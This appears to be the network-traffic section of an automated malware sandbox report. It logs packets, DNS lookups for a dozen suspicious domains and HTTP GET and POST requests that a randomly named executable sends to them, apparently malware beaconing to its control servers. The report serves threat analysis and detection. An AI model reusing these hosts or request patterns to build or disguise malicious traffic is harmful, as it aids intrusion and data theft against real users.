                                                                                    Dec 5, 2024 18:24:51.030258894 CET5001180192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:51.150399923 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:51.152496099 CET5001180192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:51.166990042 CET5001180192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:51.287888050 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.297600985 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.297800064 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.297812939 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.297867060 CET5001180192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:52.298579931 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.298603058 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.298626900 CET5001180192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:52.299382925 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.299396038 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.299422026 CET5001180192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:52.300275087 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.300291061 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.300312996 CET5001180192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:52.301143885 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.301187992 CET5001180192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:52.417896032 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.417999029 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.418545961 CET5001180192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:52.489521980 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.489686966 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.489851952 CET5001180192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:52.493773937 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.494698048 CET8050011216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:52.495037079 CET5001180192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:52.674746037 CET5001180192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:53.694154024 CET5001280192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:53.814933062 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:53.815021992 CET5001280192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:53.833533049 CET5001280192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:53.953401089 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:54.972012997 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:54.972160101 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:54.972184896 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:54.972301960 CET5001280192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:54.972999096 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:54.973015070 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:54.973162889 CET5001280192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:54.973683119 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:54.973696947 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:54.973742962 CET5001280192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:54.974534035 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:54.974560022 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:54.974683046 CET5001280192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:54.975256920 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:54.975418091 CET5001280192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:55.093477964 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:55.093580008 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:55.097728014 CET5001280192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:55.164210081 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:55.164288044 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:55.164587975 CET5001280192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:55.168226957 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:55.169228077 CET8050012216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:55.170051098 CET5001280192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:55.347239971 CET5001280192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:56.371201992 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:56.491202116 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:56.493900061 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:56.509247065 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:56.629179955 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:56.629211903 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.653115988 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.653281927 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.653292894 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.653337002 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:57.653762102 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.653774977 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.653796911 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:57.654504061 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.654540062 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:57.654546976 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.655417919 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.655430079 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.655453920 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:57.656198978 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.656239033 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:57.776546955 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.776634932 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.776684046 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:57.780749083 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.830981016 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:57.845406055 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.845542908 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.845587015 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:57.847811937 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.848014116 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.848052979 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:57.856673002 CET8050013216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:57.856722116 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:58.018743992 CET5001380192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:59.037801981 CET5001480192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:59.160523891 CET8050014216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:24:59.161894083 CET5001480192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:59.171480894 CET5001480192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:24:59.291496038 CET8050014216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:25:00.292339087 CET8050014216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:25:00.292828083 CET8050014216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:25:00.292840958 CET8050014216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:25:00.292928934 CET5001480192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:25:00.293529987 CET8050014216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:25:00.293541908 CET8050014216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:25:00.293567896 CET5001480192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:25:00.294291973 CET8050014216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:25:00.294322014 CET8050014216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:25:00.294327021 CET5001480192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:25:00.294358969 CET5001480192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:25:00.297594070 CET5001480192.168.2.11216.40.34.41
                                                                                    Dec 5, 2024 18:25:00.417377949 CET8050014216.40.34.41192.168.2.11
                                                                                    Dec 5, 2024 18:25:05.673753977 CET5001580192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:05.800873041 CET8050015172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:05.800941944 CET5001580192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:05.824893951 CET5001580192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:05.944926977 CET8050015172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:07.078324080 CET8050015172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:07.078337908 CET8050015172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:07.078488111 CET5001580192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:07.080801010 CET8050015172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:07.080950975 CET5001580192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:07.331340075 CET5001580192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:08.349720955 CET5001680192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:08.469630957 CET8050016172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:08.472035885 CET5001680192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:08.486638069 CET5001680192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:08.606673002 CET8050016172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:09.728252888 CET8050016172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:09.728518009 CET8050016172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:09.728904009 CET8050016172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:09.729758024 CET5001680192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:09.729758024 CET5001680192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:10.005661011 CET5001680192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:11.021682024 CET5001780192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:11.144629002 CET8050017172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:11.145947933 CET5001780192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:11.160537958 CET5001780192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:11.281023026 CET8050017172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:11.281034946 CET8050017172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:12.459729910 CET8050017172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:12.459893942 CET8050017172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:12.461968899 CET5001780192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:12.464040041 CET8050017172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:12.464745045 CET5001780192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:12.675831079 CET5001780192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:13.694597960 CET5001880192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:13.816615105 CET8050018172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:13.816919088 CET5001880192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:13.828603029 CET5001880192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:13.949892998 CET8050018172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:15.135927916 CET8050018172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:15.136070967 CET8050018172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:15.136177063 CET8050018172.67.178.248192.168.2.11
                                                                                    Dec 5, 2024 18:25:15.136497974 CET5001880192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:15.139930010 CET5001880192.168.2.11172.67.178.248
                                                                                    Dec 5, 2024 18:25:15.259879112 CET8050018172.67.178.248192.168.2.11

                                                                                    UDP Packets

                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                    Dec 5, 2024 18:21:58.202116013 CET6202053192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:21:59.205997944 CET6202053192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:21:59.650378942 CET53620201.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:21:59.650404930 CET53620201.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:22:15.724874020 CET5781453192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:22:16.200557947 CET53578141.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:22:30.772358894 CET5424853192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:22:31.063885927 CET53542481.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:22:39.131499052 CET5170953192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:22:39.356906891 CET53517091.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:22:47.412412882 CET5937853192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:22:47.917404890 CET53593781.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:23:02.694128990 CET5636653192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:23:03.331434011 CET53563661.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:23:17.915380001 CET6248753192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:23:18.233411074 CET53624871.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:23:32.585589886 CET6394553192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:23:33.127854109 CET53639451.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:23:47.742124081 CET4979353192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:23:48.315330982 CET53497931.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:24:02.709753990 CET6367553192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:24:03.367769957 CET53636751.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:24:17.960263968 CET5049253192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:24:18.281260967 CET53504921.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:24:32.633727074 CET5853353192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:24:33.643913984 CET5853353192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:24:34.659267902 CET5853353192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:24:35.496119976 CET53585331.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:24:35.496134996 CET53585331.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:24:35.496146917 CET53585331.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:24:50.162734032 CET5597553192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:24:51.025751114 CET53559751.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:25:05.303706884 CET6173453192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:25:05.619770050 CET53617341.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:25:21.522094965 CET5060153192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:25:22.518639088 CET5060153192.168.2.111.1.1.1
                                                                                    Dec 5, 2024 18:25:22.594712973 CET53506011.1.1.1192.168.2.11
                                                                                    Dec 5, 2024 18:25:22.659121990 CET53506011.1.1.1192.168.2.11

                                                                                    DNS Queries

                                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                    Dec 5, 2024 18:21:58.202116013 CET192.168.2.111.1.1.10xb389Standard query (0)www.75178.clubA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:21:59.205997944 CET192.168.2.111.1.1.10xb389Standard query (0)www.75178.clubA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:22:15.724874020 CET192.168.2.111.1.1.10x79eStandard query (0)www.bcg.servicesA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:22:30.772358894 CET192.168.2.111.1.1.10x128eStandard query (0)www.egldfi.xyzA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:22:39.131499052 CET192.168.2.111.1.1.10x195Standard query (0)www.betmatchx.onlineA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:22:47.412412882 CET192.168.2.111.1.1.10x6b44Standard query (0)www.43kdd.topA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:23:02.694128990 CET192.168.2.111.1.1.10xf348Standard query (0)www.lgdiamonds.infoA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:23:17.915380001 CET192.168.2.111.1.1.10x8a84Standard query (0)www.jalan2.onlineA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:23:32.585589886 CET192.168.2.111.1.1.10x5557Standard query (0)www.trendave.xyzA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:23:47.742124081 CET192.168.2.111.1.1.10x17e2Standard query (0)www.nb-shenshi.buzzA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:02.709753990 CET192.168.2.111.1.1.10x53e6Standard query (0)www.rysanekbeton.cloudA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:17.960263968 CET192.168.2.111.1.1.10x1eaStandard query (0)www.rafconstrutora.onlineA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:32.633727074 CET192.168.2.111.1.1.10x9505Standard query (0)www.127358.winA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:33.643913984 CET192.168.2.111.1.1.10x9505Standard query (0)www.127358.winA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:34.659267902 CET192.168.2.111.1.1.10x9505Standard query (0)www.127358.winA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:50.162734032 CET192.168.2.111.1.1.10x5a24Standard query (0)www.prototype.gardenA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:25:05.303706884 CET192.168.2.111.1.1.10x20bfStandard query (0)www.rtpwslot888gol.sbsA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:25:21.522094965 CET192.168.2.111.1.1.10xb52aStandard query (0)www.soainsaat.xyzA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:25:22.518639088 CET192.168.2.111.1.1.10xb52aStandard query (0)www.soainsaat.xyzA (IP address)IN (0x0001)false

                                                                                    DNS Answers

                                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                    Dec 5, 2024 18:21:59.650378942 CET1.1.1.1192.168.2.110xb389No error (0)www.75178.clubuaslkd.skasdhu.huhusddfnsuegcdn.comCNAME (Canonical name)IN (0x0001)false
                                                                                    Dec 5, 2024 18:21:59.650378942 CET1.1.1.1192.168.2.110xb389No error (0)uaslkd.skasdhu.huhusddfnsuegcdn.comgtml.huksa.huhusddfnsuegcdn.comCNAME (Canonical name)IN (0x0001)false
                                                                                    Dec 5, 2024 18:21:59.650378942 CET1.1.1.1192.168.2.110xb389No error (0)gtml.huksa.huhusddfnsuegcdn.com23.167.152.41A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:21:59.650404930 CET1.1.1.1192.168.2.110xb389No error (0)www.75178.clubuaslkd.skasdhu.huhusddfnsuegcdn.comCNAME (Canonical name)IN (0x0001)false
                                                                                    Dec 5, 2024 18:21:59.650404930 CET1.1.1.1192.168.2.110xb389No error (0)uaslkd.skasdhu.huhusddfnsuegcdn.comgtml.huksa.huhusddfnsuegcdn.comCNAME (Canonical name)IN (0x0001)false
                                                                                    Dec 5, 2024 18:21:59.650404930 CET1.1.1.1192.168.2.110xb389No error (0)gtml.huksa.huhusddfnsuegcdn.com23.167.152.41A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:22:16.200557947 CET1.1.1.1192.168.2.110x79eNo error (0)www.bcg.services199.59.243.227A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:22:31.063885927 CET1.1.1.1192.168.2.110x128eName error (3)www.egldfi.xyznonenoneA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:22:39.356906891 CET1.1.1.1192.168.2.110x195Name error (3)www.betmatchx.onlinenonenoneA (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:22:47.917404890 CET1.1.1.1192.168.2.110x6b44No error (0)www.43kdd.top43kdd.topCNAME (Canonical name)IN (0x0001)false
                                                                                    Dec 5, 2024 18:22:47.917404890 CET1.1.1.1192.168.2.110x6b44No error (0)43kdd.top38.47.232.202A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:23:03.331434011 CET1.1.1.1192.168.2.110xf348No error (0)www.lgdiamonds.info130.185.109.77A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:23:18.233411074 CET1.1.1.1192.168.2.110x8a84No error (0)www.jalan2.onlinejalan2.onlineCNAME (Canonical name)IN (0x0001)false
                                                                                    Dec 5, 2024 18:23:18.233411074 CET1.1.1.1192.168.2.110x8a84No error (0)jalan2.online108.181.189.7A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:23:33.127854109 CET1.1.1.1192.168.2.110x5557No error (0)www.trendave.xyz203.161.42.73A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:23:48.315330982 CET1.1.1.1192.168.2.110x17e2No error (0)www.nb-shenshi.buzz161.97.168.245A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:03.367769957 CET1.1.1.1192.168.2.110x53e6No error (0)www.rysanekbeton.cloudrysanekbeton.cloudCNAME (Canonical name)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:03.367769957 CET1.1.1.1192.168.2.110x53e6No error (0)rysanekbeton.cloud81.2.196.19A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:18.281260967 CET1.1.1.1192.168.2.110x1eaNo error (0)www.rafconstrutora.online104.21.34.103A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:18.281260967 CET1.1.1.1192.168.2.110x1eaNo error (0)www.rafconstrutora.online172.67.159.24A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:35.496119976 CET1.1.1.1192.168.2.110x9505No error (0)www.127358.win206.238.89.119A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:35.496134996 CET1.1.1.1192.168.2.110x9505No error (0)www.127358.win206.238.89.119A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:35.496146917 CET1.1.1.1192.168.2.110x9505No error (0)www.127358.win206.238.89.119A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:24:51.025751114 CET1.1.1.1192.168.2.110x5a24No error (0)www.prototype.garden216.40.34.41A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:25:05.619770050 CET1.1.1.1192.168.2.110x20bfNo error (0)www.rtpwslot888gol.sbs172.67.178.248A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:25:05.619770050 CET1.1.1.1192.168.2.110x20bfNo error (0)www.rtpwslot888gol.sbs104.21.18.3A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:25:22.594712973 CET1.1.1.1192.168.2.110xb52aNo error (0)www.soainsaat.xyzredirect.natrocdn.comCNAME (Canonical name)IN (0x0001)false
                                                                                    Dec 5, 2024 18:25:22.594712973 CET1.1.1.1192.168.2.110xb52aNo error (0)redirect.natrocdn.comnatroredirect.natrocdn.comCNAME (Canonical name)IN (0x0001)false
                                                                                    Dec 5, 2024 18:25:22.594712973 CET1.1.1.1192.168.2.110xb52aNo error (0)natroredirect.natrocdn.com85.159.66.93A (IP address)IN (0x0001)false
                                                                                    Dec 5, 2024 18:25:22.659121990 CET1.1.1.1192.168.2.110xb52aNo error (0)www.soainsaat.xyzredirect.natrocdn.comCNAME (Canonical name)IN (0x0001)false
                                                                                    Dec 5, 2024 18:25:22.659121990 CET1.1.1.1192.168.2.110xb52aNo error (0)redirect.natrocdn.comnatroredirect.natrocdn.comCNAME (Canonical name)IN (0x0001)false
                                                                                    Dec 5, 2024 18:25:22.659121990 CET1.1.1.1192.168.2.110xb52aNo error (0)natroredirect.natrocdn.com85.159.66.93A (IP address)IN (0x0001)false

                                                                                    HTTP Request Dependency Graph

                                                                                    • www.75178.club
                                                                                    • www.bcg.services
                                                                                    • www.43kdd.top
                                                                                    • www.lgdiamonds.info
                                                                                    • www.jalan2.online
                                                                                    • www.trendave.xyz
                                                                                    • www.nb-shenshi.buzz
                                                                                    • www.rysanekbeton.cloud
                                                                                    • www.rafconstrutora.online
                                                                                    • www.127358.win
                                                                                    • www.prototype.garden
                                                                                    • www.rtpwslot888gol.sbs

                                                                                    HTTP Packets

                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    0192.168.2.114981423.167.152.41802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:21:59.788548946 CET463OUTGET /vl4d/?mZwPH=xrgxJbs&dTb4=QHNq3VljPHXHL8Z9j/8QJFBBwlzGlceqr4baOeL+2A69zWcjzNULNYjIURgj3Svvwd9B+/BgHSW8C8HA7Jym9BF13K8Q1XQhnhpOyo2cx8TBMgz6YBiUdrw= HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Connection: close
                                                                                    Host: www.75178.club
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    1192.168.2.1149853199.59.243.227802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:22:16.338253021 CET731OUTPOST /5onp/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 201
                                                                                    Host: www.bcg.services
                                                                                    Origin: http://www.bcg.services
                                                                                    Referer: http://www.bcg.services/5onp/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
